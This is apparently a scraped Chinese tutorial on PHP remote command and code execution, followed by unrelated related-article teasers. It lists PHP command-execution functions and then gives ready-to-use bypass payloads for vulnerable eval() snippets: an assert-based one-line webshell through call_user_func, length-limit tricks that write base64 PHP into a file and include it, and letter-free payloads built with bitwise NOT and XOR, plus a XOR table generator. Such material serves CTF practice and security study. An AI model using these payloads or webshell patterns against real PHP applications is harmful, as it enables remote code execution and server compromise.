RCE远程命令执行

命令执行的常用函数

system():能将字符串作为系统命令执行,且返回命令执行结果。

#system(string $command, int &$result_code = null): string|false
system('whoami');

exec():能将字符串作为系统命令执行,但是只返回执行结果的最后一行。

#exec(string $command, array &$output = null, int &$result_code = null): string|false
print(exec('whoami'));代码执行的常用函数

shell_exec():能将字符串作为系统命令执行。

#shell_exec(string $command): string|false|null
print(shell_exec('whoami'));

 passthru():能将字符串作为系统命令执行,并直接输出其结果。它的主要特点是,可以将命令行程序的原始输出发送到浏览器。

#passthru(string $command, int &$result_code = null): ?false

passthru('whoami');

 popen():打开进程文件指针。

#popen(string $command, string $mode): resource|false
返回一个资源类型  (stream_get_contents() 是 PHP 中的一个函数,用于读取流中的所有数据并返回作为字符串。这个函数处理文件、网络连接、管道等流式数据)
$handle = popen('whoami', 'r');
echo stream_get_contents($handle);
<?php
// 使用 popen() 打开 Windows 命令提示符中的 dir 命令
$handle = popen('whoami', 'r');
if (is_resource($handle)) {
    // 逐行读取输出
    while (!feof($handle)) {
        $line = fgets($handle);
        echo $line; // 输出每一行
    }
    // 关闭管道
    pclose($handle);
} else {
    echo "无法打开进程.";
}
?>

proc_open():执行一个命令,并且打开用来输入/输出的文件指针。

#proc_open(
    array|string $command,array $descriptor_spec,array &$pipes,?string $cwd = null,
    ?array $env_vars = null,?array $options = null): resource|false

<?php
// 定义描述符
$descriptorspec = [
    0 => ['pipe', 'r'], // 标准输入是一个管道,子进程从这里读取
    1 => ['pipe', 'w'], // 标准输出是一个管道,子进程向这里写入
    2 => ['pipe', 'w']  // 标准错误也是一个管道
];

// 启动进程
$process = proc_open('whoami', $descriptorspec, $pipes);

if (is_resource($process)) {
    // 关闭标准输入,因为我们不需要向进程发送任何数据
    fclose($pipes[0]);

    // 从标准输出读取数据
    $output = stream_get_contents($pipes[1]);
    fclose($pipes[1]); // 关闭标准输出管道

    // 读取标准错误(如果有)
    $errorOutput = stream_get_contents($pipes[2]);
    fclose($pipes[2]); // 关闭标准错误管道

    // 获取进程的退出状态
    $return_value = proc_close($process);

    // 输出结果
    echo "Output: " . $output;
    echo "Error Output: " . $errorOutput;
    echo "Return value: " . $return_value;
} else {
    echo "无法启动进程.";
}
?>

反引号 :反引号内的字符串会被解析为命令。

echo`id`;

代码执行的常用函数

eval():把字符串解析为PHP代码执行,可以用来动态生成和执行代码,不能动态传递。

assert():用于执行断言,检查一个断言是否为false。如果设置了自定义处理函数,则可能会执行该函数。

preg_replace():执行一个正则表达式的搜索和替换。

creat_function():创建一个匿名函数并且返回函数名。

#call_user_func(callable $callback, mixed ...$args): mixed

#第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

call_user_func('assert',$_REQUEST['pass']);

?pass=phpinfo();

call_user_func()/call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数的参数/参数的数组。

usort()/uasort():使用用户自定义的比较函数对数组中的值进行排序并保持索引关联。

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行。

 长度限制的突破技巧
#param不能超过17位并且不能包含eval和assert。<?php
$param = $_REQUEST['param'];  
if (strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param, 'assert') === false
) 
{eval($param);
}

1        ?param=echo `$_GET[1]`;&1=id

2        ?param=$_GET[1](N,P,8);&1=file_put_contents

 'PD9waHAgcGhwaW5mbygpOzs'   写入文件'N'中   

#file_put_contents(string $filename,mixed $data,int $flags = 0,?resource $context = null): int|false

#如果 filename 不存在,将会创建文件。反之,存在的文件将会重写,设置 FILE_APPEND flag会追加数据而不是覆盖。 (这里8代表追加)

 

?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

3        ?1[]=test&1[]=phpinfo();&2=assert

#usort(array &$array, callable $callback): true

#param长度不能超过8位<?php$param = $_REQUEST['param'];if ( strlen($param) < 8 ){echo shell_exec($param);}

 4        ?param=>a 

无字母数字的突破技巧
#code不能有字母数字_&
<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

1        ?code=(~%8F%97%8F%96%91%99%90)();

#在php7之后可以('phpinfo')();来执行函数

#echo urlencode(~'phpinfo');exit;

#%8F%97%8F%96%91%99%90

2        ?code=?><?=`.+/???/????????[@-[]`;

#发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是`/tmp/phpXXXXXX`,文件名最后6个字符是随机的大小写字母。

#asscii表中大写字母位于@与[之间

#. filenamesource filename来执行脚本时,可以无视文件的执行权限,因为它们是将文件内容读入当前Shell并逐行执行,而不是尝试直接执行这个文件。

 

<?php
error_reporting(0);$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){die('hacker');
}
eval($code);

3       ?code=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%08%0f%01%0d%09"^"%7f%60%60%60%60%60");

<?php
// 以写入模式打开名为 'text.txt' 的文件
$myfile = fopen('text.txt', "w");// 初始化一个空字符串来保存内容
$contents = "";// 循环遍历第一个变量的值从 0 到 255
for ($i = 0; $i < 256; $i++) {// 循环遍历第二个变量的值从 0 到 255for ($j = 0; $j < 256; $j++) {// 将第一个变量转换为十六进制,确保两位数if ($i < 16) {$hex_i = '0' . dechex($i); // 如果小于 16,则前缀 '0'} else {$hex_i = dechex($i); // 如果大于或等于 16,则直接转换为十六进制}// 将第二个变量转换为十六进制,确保两位数if ($j < 16) {$hex_j = '0' . dechex($j); // 如果小于 16,则前缀 '0'} else {$hex_j = dechex($j); // 如果大于或等于 16,则直接转换为十六进制}// 正则表达式模式,用于匹配字母数字字符$preg = '/[a-z0-9]/i';// 检查任一十六进制值的二进制表示是否包含字母数字字符if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {echo 'fail'; // 如果条件为真,输出 'fail'} else {// 为两个十六进制值准备 URL 编码的字符串$a = '%' . $hex_i; $b = '%' . $hex_j;// 对 a 和 b 的 URL 解码版本进行按位异或运算$c = (urldecode($a) ^ urldecode($b));// 检查结果的序数值是否在可打印 ASCII 字符范围内if (ord($c) >= 32 && ord($c) <= 128) {// 将结果以及十六进制表示法附加到内容字符串中$contents = $contents . $c . " " . $a . " " . $b . "\n";}}}
}// 将收集到的内容写入文件
fwrite($myfile, $contents);// 关闭文件
fclose($myfile);

 

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    eval($_GET['code']);
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/401397.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL 的 InnoDB 缓冲池里有什么?--InnoDB存储梳理(二)

文章目录 缓冲池的配置介绍一张表 INNODB_BUFFER_POOL_PAGES字段解释 缓冲池的配置 以下配置的意思&#xff0c;缓冲池在内存中的大小为20M&#xff1b;只有1个缓冲池实例&#xff1b;每一块的大小&#xff0c;插入缓冲占的百分比 # InnoDB 缓存池配置 innodb_buffer_pool_si…

Python之循环语句

这是《Python入门经典以解决计算问题为导向的Python编程实践》中58-65的内容&#xff0c;主要将了while循环语句和for循环语句。 循环 一、while循环语句语法&#xff1a;工作原理&#xff1a;案例解读要点 二、for循环语句语法工作原理、案例&#xff1a;寻找完全数 三、whil…

学习记录——day30 网络编程 端口号port 套接字socket TCP实现网络通信

目录 一、端口号 port 二、套接字 socket 1、原理 2、socket函数介绍 三、TCP实现网络通信 1、原理 2、TCP通信原理图 3、TCP相关函数 1&#xff09;bind 绑定 2&#xff09;listen 监听 3&#xff09;accept 接收连接请求 4&#xff09;recv 接收 5&#xff09;sen…

Ubuntu系统中安装ffmpeg工具(详细图文教程)

&#x1f4aa; 专业从事且热爱图像处理&#xff0c;图像处理专栏更新如下&#x1f447;&#xff1a; &#x1f4dd;《图像去噪》 &#x1f4dd;《超分辨率重建》 &#x1f4dd;《语义分割》 &#x1f4dd;《风格迁移》 &#x1f4dd;《目标检测》 &#x1f4dd;《暗光增强》 &a…

RAG:系统评估,以RAGAS为例

面试的时候经常会问到&#xff0c;模型和系统是怎么评估的&#xff0c;尤其是RAG&#xff0c;这么多组件&#xff0c;还有端到端&#xff0c;每部分有哪些指标评估&#xff0c;怎么实现的。今天整理下 目前最通用的是RAGAS框架&#xff0c;已经在langchain集成了。在看它之前&…

Java面试--设计模式

设计模式 目录 设计模式1.单例模式&#xff1f;2.代理模式&#xff1f;3.策略模式&#xff1f;4.工厂模式&#xff1f; 1.单例模式&#xff1f; 单例模式是Java的一种设计思想&#xff0c;用此模式下&#xff0c;某个对象在jvm只允许有一个实例&#xff0c;防止这个对象多次引…

文本分类任务算法演变(一)

文本分类任务算法演变 1.简介和应用场景1.1使用场景-打标签1.2使用场景-电商评论分析1.3使用场景-违规检测1.4使用场景-放开想象空间 2贝叶斯算法2.1预备知识-全概率公式2.2贝叶斯公式2.3文本分类中的应用2.3.1任务如下 2.4贝叶斯的优缺点 3.支持向量机3.1支持向量机-决策函数3…

libnl教程(2):发送请求

文章目录 前言示例示例代码构造请求创建套接字发送请求 简化示例 前言 前置阅读要求&#xff1a;libnl教程(1):订阅内核的netlink广播通知 本文介绍&#xff0c;libnl如何向内核发送请求。这包含三个部分&#xff1a;构建请求&#xff1b;创建套接字&#xff1b;发送请求。 …

Web开发:web服务器-Nginx的基础介绍(含AI文稿)

目录 一、Nginx的功能&#xff1a; 二、正向代理和反向代理的区别 三、Nginx负载均衡的主要功能 四、nginx安装目录下的各个文件&#xff08;夹&#xff09;的作用&#xff1a; 五、常用命令 一、Nginx的功能&#xff1a; 1.反向代理&#xff1a;例如我有三台服务器&#x…

大数据项目——实战项目:广告数仓(第二部分)集群环境部署

目录 第4章 广告数仓架构设计 第5章 集群环境准备 5.1 服务器准备 5.1.1 创建3台虚拟机 5.1.2 SSH无密登录配置 5.1.3 编写集群分发脚本xsync 5.1.4 JDK准备 5.1.5 环境变量配置说明 5.2 Hadoop部署 5.2.1 完全分布式运行模式&#xff08;开发重点&#xff09; 5.2…

去噪、梯度与边缘检测

图像噪点消除 噪声在图像处理中指的是图像中出现的干扰因素&#xff0c;通常由采集设备或传输过程引起。噪声使得图像的亮度变得不均匀或引入了随机的干扰点。常见的噪声类型包括&#xff1a; 高斯噪声&#xff1a;符合正态分布的噪声&#xff0c;会使图像变得模糊或出现噪点。…

Java基础之switch分支语句

switch分支语句 ​ switch语句也称为分支语句&#xff0c;其和if语句有点类似&#xff0c;都是用来判断值是否相等&#xff0c;但switch默认只支持byte、short、int、char这四种类型的比较&#xff0c;JDK8中也允许String类型的变量做对比。 语法&#xff1a; switch (表达式…

8.15 哈希表中等 139 Word Break review 467 Unique Substrings in Wraparound String

139 Word Break【逐一对比vs.多种 分割 组合】 片面思考的思路&#xff1a; class Solution { public:bool wordBreak(string s, vector<string>& wordDict) {//字符串和对应的字典&#xff0c;如果s种可以用空格分隔出一个或多个字典里的词就返回true//核心&#x…

windows 安装TVM

TVM支持在Windows环境下使用&#xff0c;但需要一些额外的配置。以下是如何在Windows Python环境中安装TVM的详细步骤。 1. 安装TVM的预备条件 在Windows上安装TVM之前&#xff0c;需要确保系统已经安装了以下工具和依赖项&#xff1a; Visual Studio: 安装包含C开发工具的V…

利用ZXing.Net Bindings for EmguCV识别条形码及绘制条形码边框17(C#)

上一篇博文&#xff1a;绘制条形码的效果不是很好&#xff1a;利用Emgucv绘制条形码边框16(C#)-CSDN博客 测试环境&#xff1a; win11 64位操作系统 visual studio 2022 ZXing.Net.Bindings.EmguCV 0.16.4 测试步骤如下&#xff1a; 1 新建.net framework 4.8的控制台项目…

Linux日常运维-主机名hosts

作者介绍&#xff1a;简历上没有一个精通的运维工程师。希望大家多多关注作者&#xff0c;下面的思维导图也是预计更新的内容和当前进度(不定时更新)。 本小章内容就是Linux进阶部分的日常运维部分&#xff0c;掌握这些日常运维技巧或者方法在我们的日常运维过程中会带来很多方…

【Vue3】嵌套路由

【Vue3】嵌套路由 背景简介开发环境开发步骤及源码 背景 随着年龄的增长&#xff0c;很多曾经烂熟于心的技术原理已被岁月摩擦得愈发模糊起来&#xff0c;技术出身的人总是很难放下一些执念&#xff0c;遂将这些知识整理成文&#xff0c;以纪念曾经努力学习奋斗的日子。本文内…

【Linux】缓冲区和文件系统

目录 一、缓冲区 1.1 概念 1.2 用户缓冲区和内核缓冲区 二、磁盘的结构 三、文件系统 3.1 初识“块”和inode 3.2 磁盘分区和文件系统 一、缓冲区 1.1 概念 要理解什么是缓冲区&#xff0c;先看这段代码 #include <stdio.h> #include <string.h> #includ…

Linux系统驱动(十八)SPI总线(未整理)

文章目录 一、SPI总线协议简介二、SPI子系统驱动&#xff08;二&#xff09;SPI子系统API&#xff08;三&#xff09;SPI设备树节点 三、代码示例 一、SPI总线协议简介 高速、同步、全双工、非差分、总线式 传输速度在几十M 差分总线和非差分总线 非差分总线&#xff1a;受压…

江协科技STM32学习笔记(第13章 WDG看门狗)

第13章 WDG看门狗 13.1 WDG看门狗 13.1.1 WDG简介 看门狗就是程序运行的一个保障措施&#xff0c;我们得在程序中定期地喂狗&#xff0c;如果程序卡死了&#xff0c;没有在规定的时间里喂狗&#xff0c;那么看门狗硬件电路就会自动帮我们复位一下&#xff0c;防止程序长时间…